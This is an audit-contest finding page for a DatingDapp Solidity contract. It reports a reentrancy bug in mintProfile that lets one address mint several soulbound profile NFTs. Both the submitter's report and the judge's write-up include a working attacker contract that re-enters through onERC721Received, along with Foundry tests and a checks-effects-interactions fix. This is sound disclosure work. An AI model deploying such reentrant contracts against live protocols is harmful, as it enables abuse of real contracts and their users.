DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

mintProfile Updates profileToToken After _safeMint — Reentrancy Allows Minting Multiple NFTs Per Address

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// # mintProfile Updates profileToToken After _safeMint — Reentrancy Allows Minting Multiple NFTs Per Address
## Root + Impact
### Description
The `mintProfile` function evaluates `profileToToken[msg.sender] == 0`, executes `_safeMint(msg.sender, tokenId)`, and subsequently updates `profileToToken[msg.sender] = tokenId`.
The `_safeMint` execution pattern transmits an execution thread hook (`onERC721Received`) to contract target interfaces. A malicious receiver contract can re-enter `mintProfile` mid-execution because state storage flags have not finalized yet. The nested tracking checks validate a secondary collection entry, leaving an untracked profile NFT asset under the attacker's balance allocation control.
### Risk
* **Impact**: Medium - Violates structural token limits and allows attackers to forge disconnected identity relationships.
* **Likelihood**: High - External interface execution hooks invoke arbitrary control flows before resolving local variable updates.
---
## Proof of Concept
The verification logic below establishes how a re-entrant receiver loop completely bypasses the baseline tracking constraint. By invoking secondary initialization loops inside the mint callback lifecycle hook, the malicious contract instantiates two distinct profile entities while leaving storage indices corrupted.
```solidity
contract ReentrantMinter {
SoulboundProfileNFT nft;
uint256 count;
function attack(address _nft) external {
nft = SoulboundProfileNFT(_nft);
nft.mintProfile("Attacker", 30, "hash");
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
if (count == 0) {
count++;
nft.mintProfile("Attacker2", 31, "hash2"); // Re-enter
}
return this.onERC721Received.selector;
}
}
function test_ReentrancyMintsMultipleNFTs() public {
ReentrantMinter attacker = new ReentrantMinter();
attacker.attack(address(profileNFT));
// Attacker owns 2 NFTs, profileToToken only records one
assertEq(profileNFT.balanceOf(address(attacker)), 2);
}
```
---
## Recommended Mitigation
Move the state variable mapping update before executing external external system dependencies, enforcing compliance with Checks-Effects-Interactions rules.
```diff
function mintProfile(string memory name, uint8 age, string memory image) external {
require(profileToToken[msg.sender] == 0, "Already has profile");
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId; // Move BEFORE _safeMint
_safeMint(msg.sender, tokenId);
- profileToToken[msg.sender] = tokenId;
// ... set metadata
}
```
cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

Recommended Mitigation

- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!